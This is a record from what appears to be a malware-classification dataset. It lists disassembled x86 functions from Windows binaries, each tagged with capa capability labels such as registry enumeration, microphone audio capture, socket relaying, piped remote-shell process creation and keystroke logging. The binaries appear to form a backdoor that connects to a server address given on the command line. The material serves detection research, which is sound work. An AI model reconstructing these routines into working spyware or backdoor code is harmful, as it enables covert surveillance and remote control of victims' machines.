joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009e10
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Write file on windows

Disassembly:
mov eax, 0x1030
call fcn.1000c4f0
push ebp
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x10]
xor ebp, ebp
mov eax, dword [edi + 0xc]
push ecx
mov dword [esp + 0x14], ebp
push 9
mov edx, dword [eax + 0x1208]
push ebp
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 5
je 0x1000a024
cmp eax, ebp
jne 0x1000a024
mov ecx, edi
call fcn.1000a080
mov esi, eax
cmp esi, ebp
jne 0x10009e78
mov eax, dword [esp + 0x10]
mov dword [edi + 4], 0x1b69
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0x1030
ret
mov ecx, 0x203
xor eax, eax
lea edi, [esp + 0x20]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x830], ebp
rep stosd dword es:[edi], eax
mov ecx, 0x203
lea edi, [esp + 0x834]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov ecx, 0x204
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esp + 0x83c], eax
rep stosd dword es:[edi], eax
mov eax, 0x1fe
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
lea edx, [esp + 0x430]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x2c]
push 0
lea edx, [esp + 0x40]
push ecx
push edx
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x10009f7d
test ebp, ebp
jne 0x10009f63
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10009f30
lea edx, [esp + 0x10]
push eax
push edx
lea eax, [esp + 0x28]
push 0x810
push eax
push esi
mov dword [esp + 0x34], 0xffffffff
call ebx
mov ebp, 1
jmp 0x10009ea5
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x838]
push 0x810
or eax, 0xffffffff
push edx
push esi
mov dword [esp + 0x848], 1
mov dword [esp + 0x844], eax
mov dword [esp + 0x84c], eax
call ebx
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x28]
push 0x810
push ecx
push esi
call ebx
inc ebp
jmp 0x10009ea5
test ebp, ebp
jne 0x10009fb3
or eax, 0xffffffff
lea edx, [esp + 0x10]
mov dword [esp + 0x830], eax
mov dword [esp + 0x838], eax
push ebp
push edx
lea eax, [esp + 0x838]
push 0x810
push eax
push esi
mov dword [esp + 0x848], 1
call ebx
xor ebp, ebp
mov ecx, 0x204
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov eax, 0x1fe
push ecx
mov ecx, dword [esp + 0x18]
push 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x28], eax
push 0
push 0
lea eax, [esp + 0x40]
push edx
push eax
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1000a012
lea edx, [esp + 0x10]
push eax
push edx
lea eax, [esp + 0x28]
push 0x810
push eax
push esi
mov dword [esp + 0x40], 1
call ebx
inc ebp
jmp 0x10009fb5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x1030
ret
mov dword [edi + 4], 0x1b58
pop edi
pop esi
pop ebp
add esp, 0x1030
ret
Function at 0x1000a080
Capabilities:
Delete file

Disassembly:
push esi
lea esi, [ecx + 0x124]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
pop esi
ret

Function at 0x1000a0b0
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push 0x80
push 3
push edi
lea ebp, [esi + 0x124]
push 1
push bind
push ebp
mov dword [esi + 8], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000a123
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esi + 8], eax
je 0x1000a115
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 8]
add esp, 4
mov edi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ecx
push edi
push ebx
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esi + 4]
mov eax, dword [esi + 8]
push edx
push eax
push edi
lea ecx, [esi + 0x10]
call fcn.10003bd0
test edi, edi
mov esi, eax
je 0x1000a143
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1000a710
Capabilities:
Create thread

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, ecx
push edi
push 0x1f46
lea ecx, [esi + 0xb4]
call fcn.10003760
test eax, eax
je 0x1000a7a4
push edi
push 0x1f53
lea ecx, [esi + 0x1c8]
call fcn.10003760
test eax, eax
je 0x1000a7a4
mov edi, dword [sym.imp.MSVCRT.dll__beginthread]
push esi
push 0
push 0x1000a360
call edi
push esi
push 0
push 0x1000a540
call edi
mov eax, dword [esi + 0x2dc]
mov ecx, dword [esi + 0x2e0]
add esp, 0x18
lea edx, [esp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
push 0xffffffffffffffff
push 1
push edx
push 2
mov dword [esp + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
mov eax, 1
pop esi
add esp, 8
ret 4
pop edi
xor eax, eax
pop esi
add esp, 8
ret 4
Function at 0x1000acb0
Capabilities:
Capture microphone audio

Disassembly:
push 0xffffffffffffffff
push 0x1000ca68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
mov ebx, dword [esp + 0x5c]
push ebp
push esi
push edi
push 0x20
mov esi, ecx
push ebx
push eax
mov dword [esp + 0x20], esi
call dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
test eax, eax
jne 0x1000ae75
mov eax, dword [esi + 0x14]
test eax, eax
jne 0x1000ad38
lea ecx, [esi + 0x58]
lea edi, [esi + 0x1c8]
push 0x12
mov ebp, 1
push ecx
mov ecx, edi
mov dword [esi + 0x14], ebp
call fcn.100031e0
test eax, eax
je 0x1000ad20
push 0x20
push ebx
mov ecx, edi
call fcn.100031e0
test eax, eax
jne 0x1000ad38
mov edx, dword [esi + 0x2e4]
push 0
push 0
push 0x5b6
mov dword [esi + 0x18], ebp
push edx
jmp 0x1000ae6f
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 0xffff]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [ebx + 4]
mov ebp, eax
lea eax, [edx + edx + 0xffff]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebx + 4]
mov edx, eax
xor eax, eax
mov edi, edx
lea ecx, [ecx + ecx + 0xffff]
add esp, 8
mov esi, ecx
mov dword [esp + 0x10], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebx + 4]
mov edi, ebp
lea ecx, [eax + eax + 0xffff]
xor eax, eax
mov esi, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebx + 8]
mov esi, dword [ebx]
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, 8
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x26], al
mov byte [esp + 0x25], al
mov byte [esp + 0x27], 4
mov byte [esp + 0x28], 2
mov ecx, dword [ebx + 8]
lea eax, [esp + 0x68]
push eax
mov dword [esp + 0x6c], ecx
push edx
push ebp
lea ecx, [esp + 0x24]
mov dword [esp + 0x68], 0
call fcn.100018b0
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x68]
push 4
push ecx
lea esi, [edi + 0x1c8]
mov ecx, esi
call fcn.100031e0
test eax, eax
je 0x1000ae45
mov edx, dword [esp + 0x68]
mov eax, dword [esp + 0x10]
push edx
push eax
mov ecx, esi
call fcn.100031e0
test eax, eax
je 0x1000ae45
mov ecx, dword [esp + 0x10]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [esp + 0x6c]
add esp, 8
push 0x20
push ebx
push esi
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
test eax, eax
jne 0x1000ae75
push 0x20
push ebx
push esi
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
jmp 0x1000ae75
mov edx, dword [esp + 0x10]
mov dword [edi + 0x18], 1
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi + 0x2e4]
add esp, 8
push 0
push 0
push 0x5b6
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 8
Function at 0x1000af30
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x10c
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], eax
rep stosd dword es:[edi], eax
push 0x1000
mov dword [esp + 0x10], 0x493e0
mov dword [esp + 0x14], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [esp + 0x120]
mov ebx, dword [esp + 0x124]
add esp, 4
mov esi, eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
push 0
push 0
lea eax, [edi + 1]
push ecx
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x1000afc3
push 0
push 0xfff
push esi
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1000afc3
push 0
push eax
push esi
push ebx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1000af7b
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
add esp, 4
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
add esp, 0x10c
ret

Function at 0x1000b680
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, ecx
push esi
mov esi, dword [esp + 0xc]
push edi
lea edi, [ebx + 8]
mov ecx, 0x18
mov eax, dword [ebx + 4]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
push ebx
push 0
push 0x1000b600
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
pop edi
pop esi
pop ebx
ret 4

Function at 0x1000b7d0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0x20]
mov ebx, ecx
mov dword [esp + 0x14], esi
mov byte [esp + 0x13], 0
mov dword [esp + 0x18], esi
mov edx, dword [ebx + 0x18]
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esp + 0x1b]
push 1
push ecx
push edx
call ebp
test eax, eax
je 0x1000b86d
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000b86d
mov al, byte [esp + 0x13]
cmp al, 0x3e
mov byte [esi + edi], al
jne 0x1000b858
inc esi
cmp esi, 5
jb 0x1000b861
cmp byte [esi + edi - 1], 0x3e
jne 0x1000b861
cmp byte [esi + edi - 2], 0x52
jne 0x1000b861
cmp byte [esi + edi - 3], 0x49
jne 0x1000b861
cmp byte [esi + edi - 4], 0x44
jne 0x1000b861
cmp byte [esi + edi - 5], 0x3c
jne 0x1000b861
mov eax, dword [esp + 0x18]
mov ecx, eax
inc eax
cmp ecx, 0x50
mov dword [esp + 0x18], eax
jge 0x1000b861
jmp 0x1000b859
inc esi
cmp esi, 0x7fff00
jbe 0x1000b7f2
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret 4
Function at 0x1000b990
Capabilities:
Create thread
Terminate process

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, ecx
push edi
push 0x1f47
lea ecx, [esi + 0x13c]
call fcn.10003760
test eax, eax
je 0x1000ba7c
push edi
push 0x1f53
lea ecx, [esi + 0x28]
call fcn.10003760
test eax, eax
je 0x1000ba7c
push 0x1f55
push 0x10010a06
call fcn.100071a0
add esp, 8
test eax, eax
je 0x1000ba7c
mov ecx, esi
call fcn.1000ba90
test eax, eax
je 0x1000ba7c
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll__beginthread]
xor edi, edi
push esi
push edi
push 0x1000b970
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
call ebx
push esi
push edi
push 0x1000b980
mov dword [esp + 0x24], eax
call ebx
add esp, 0x18
mov dword [esp + 0x10], eax
lea eax, [esp + 0xc]
push 0xffffffffffffffff
push edi
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov eax, dword [esi + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, edi
jne 0x1000ba44
push edi
mov dword [esi + 4], edi
call ebx
cmp dword [esi + 0x14], edi
jne 0x1000ba4f
push edi
mov dword [esi + 0x14], edi
call ebx
cmp dword [esi + 0xc], edi
jne 0x1000ba5a
push edi
mov dword [esi + 0xc], edi
call ebx
cmp dword [esi + 0x18], edi
jne 0x1000ba65
push edi
mov dword [esi + 0x18], edi
call ebx
mov ecx, dword [esi + 0x24]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
pop ebx
pop edi
pop esi
add esp, 8
ret 4
Function at 0x1000ba90
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0xfffffffffffffff5
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 0x20], eax
lea eax, [esp + 0x10]
lea ebx, [esi + 0x14]
push 0
lea edi, [esi + 0x10]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000bba7
mov ecx, dword [ebx]
push ecx
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x1000bba7
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push 0
lea edx, [esi + 0x18]
push 0
push edx
call ebp
push eax
mov eax, dword [edi]
push eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1000bba7
mov ecx, dword [edi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [esp + 0x10]
lea edi, [esi + 8]
push 0
lea ebx, [esi + 4]
push edx
push edi
push ebx
mov dword [esi + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000bba7
mov eax, dword [ebx]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
push eax
push 0xfffffffffffffff6
call ebx
test eax, eax
je 0x1000bba7
push 2
push 0
lea ecx, [esi + 0xc]
push 0
push ecx
call ebp
mov edx, dword [edi]
push eax
push edx
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1000bba7
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.1000bbc0
test eax, eax
je 0x1000bba7
mov ecx, dword [esi + 0x1c]
push ecx
push 0xfffffffffffffff6
call ebx
test eax, eax
je 0x1000bba7
mov edx, dword [esi + 0x20]
push edx
push 0xfffffffffffffff5
call ebx
test eax, eax
je 0x1000bba7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret

Function at 0x1000bbc0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
sub esp, 0x54
push esi
mov esi, ecx
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esi + 4]
lea edx, [esp + 8]
mov dword [esp + 0x50], eax
mov eax, dword [esi + 0x14]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
lea eax, [esp + 0x18]
xor ecx, ecx
push edx
push eax
push ecx
push ecx
push 0x8000000
push 1
push ecx
push ecx
push 0x10010a06
push ecx
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x44], ecx
mov dword [esp + 0x74], ecx
mov word [esp + 0x72], cx
mov dword [esp + 0x6c], 0x101
mov word [esp + 0x70], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000bc35
pop edi
pop esi
add esp, 0x54
ret
mov ecx, dword [esp + 8]
pop edi
mov dword [esi + 0x24], ecx
mov eax, 1
pop esi
add esp, 0x54
ret
Function at 0x1000bd90
Capabilities:
Create thread
Delete file

Disassembly:
sub esp, 0x28
push ebp
push esi
mov esi, dword [esp + 0x34]
push edi
mov ecx, 0x411
mov edi, section.bdfsd
push 0x2000000
push 1
rep movsd dword es:[edi], dword [esi]
push str.WinSta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov esi, eax
test esi, esi
mov dword [esp + 0x38], esi
je 0x1000bdc9
push esi
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 0x2000000
push 1
push 1
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov ebp, eax
test ebp, ebp
je 0x1000bdea
push ebp
call dword [sym.imp.USER32.dll_SetThreadDesktop]
xor eax, eax
lea ecx, [esp + 0xc]
push 0xc
mov dword [esp + 0x14], eax
push ecx
push 0x10010806
mov byte [esp + 0x18], 0
mov dword [esp + 0x20], eax
call fcn.100077c0
add esp, 0xc
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000be3e
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000be3e
lea eax, [esp + 0xc]
push eax
push 0x12000b06
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x14]
mov dword [0x10011038], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10011034], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push 0
push 1
push 0
mov dword [0x10011030], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1001101c], eax
mov eax, dword [0x10010008]
test eax, eax
je 0x1000be86
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10010606
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x1001000c]
test eax, eax
jbe 0x1000be94
call fcn.100068b0
push ebx
push 0
push 0
push 0x1000bd70
call dword [sym.imp.MSVCRT.dll__beginthread]
mov edx, dword [0x1001101c]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0xc
push 0
push edx
call ebx
test eax, eax
je 0x1000bf19
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
lea eax, [esp + 0x24]
push 0
push eax
call edi
test eax, eax
je 0x1000bf15
mov eax, dword [esp + 0x20]
sub eax, 0x5b6
je 0x1000befe
sub eax, 3
jne 0x1000bf07
mov ecx, dword [0x1001101c]
push ecx
call esi
mov ecx, 0x1000f6d8
call fcn.10002450
jmp 0x1000bf07
mov edx, dword [0x1001101c]
push edx
call esi
mov eax, dword [0x1001101c]
push 0
push eax
call ebx
test eax, eax
jne 0x1000bec8
mov esi, dword [esp + 0x3c]
mov ecx, 0x1000f748
call fcn.10003880
mov eax, dword [0x1001000c]
pop ebx
test eax, eax
jbe 0x1000bf32
call fcn.10006840
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x1001101c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.USER32.dll_CloseDesktop]
push esi
call dword [sym.imp.USER32.dll_CloseWindowStation]
pop edi
pop esi
pop ebp
add esp, 0x28
ret 4
Function at 0x1000c000
Capabilities:
Accept command line arguments
Initialize winsock library
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x524
cmp eax, 1
push esi
push edi
jne 0x1000c1b5
mov eax, dword [esp + 0x530]
mov ecx, 0x63
mov dword [0x1000f884], eax
xor eax, eax
lea edi, [esp + 0x39e]
mov word [esp + 0x39c], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x39c]
push ecx
push 0x202
stosw word es:[edi], ax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edx, [esp + 0x128]
stosw word es:[edi], ax
push edx
push str.mythreadid
stosb byte es:[edi], al
call esi
push eax
call fcn.100074f0
add esp, 0xc
or eax, eax
je 0x1000c1b5
lea eax, [esp + 0x28]
push eax
push str.myserveraddr
call esi
push eax
call fcn.100074f0
add esp, 0xc
or eax, eax
je 0x1000c1b5
lea ecx, [esp + 8]
push ecx
push str.myserverport
call esi
push eax
call fcn.100074f0
add esp, 0xc
test eax, eax
je 0x1000c1b5
mov esi, dword [sym.imp.SHLWAPI.dll_StrToIntA]
push ebx
lea edx, [esp + 0x12c]
push ebp
push edx
call esi
mov ebx, dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
mov ebp, eax
push 1
push 0x5ba
push ebp
call ebx
mov ecx, 0x5c
xor eax, eax
lea edi, [esp + 0x234]
mov dword [esp + 0x230], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
call esi
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.100047d0
mov edi, eax
add esp, 8
test edi, edi
je 0x1000c194
mov eax, dword [0x10011034]
lea edx, [esp + 0x230]
push edx
push eax
push edi
call dword [sym.imp.WS2_32.dll_WSADuplicateSocketA]
test eax, eax
jne 0x1000c194
xor esi, esi
xor ecx, ecx
mov cl, byte [esp + esi + 0x230]
push ecx
push 0
push 0x5b7
push ebp
call ebx
inc esi
cmp esi, 0x174
jb 0x1000c16c
push 0
push 1
push 0x5b7
jmp 0x1000c19d
push 0
push 0
push 0x5b8
push ebp
call ebx
pop ebp
pop ebx
test edi, edi
je 0x1000c1ad
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov eax, 1
pop esi
add esp, 0x524
ret 0xc
Function at 0x401668
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x40167a
mov eax, dword [0x50c08b]
shl eax, 2
mov dword [0x50c08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004f4a3c
pop edx
call fcn.004f4964
call fcn.004f4a7c
push 0
call fcn.004f5c28
pop ecx
push 0x50c034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x50c093], eax
push 0
jmp fcn.004ff654

Function at 0x402b34
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
call sub.USER32.DLL_GetForegroundWindow
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.USER32.DLL_GetWindowThreadProcessId
mov dword [ebp - 8], eax
push 0
push dword [ebp + 8]
call sub.USER32.DLL_GetWindowThreadProcessId
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
je 0x402b8b
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.USER32.DLL_AttachThreadInput
push dword [ebp + 8]
call sub.USER32.DLL_SetForegroundWindow
mov dword [ebp - 0x10], eax
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.USER32.DLL_AttachThreadInput
jmp 0x402b96
push dword [ebp + 8]
call sub.USER32.DLL_SetForegroundWindow
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret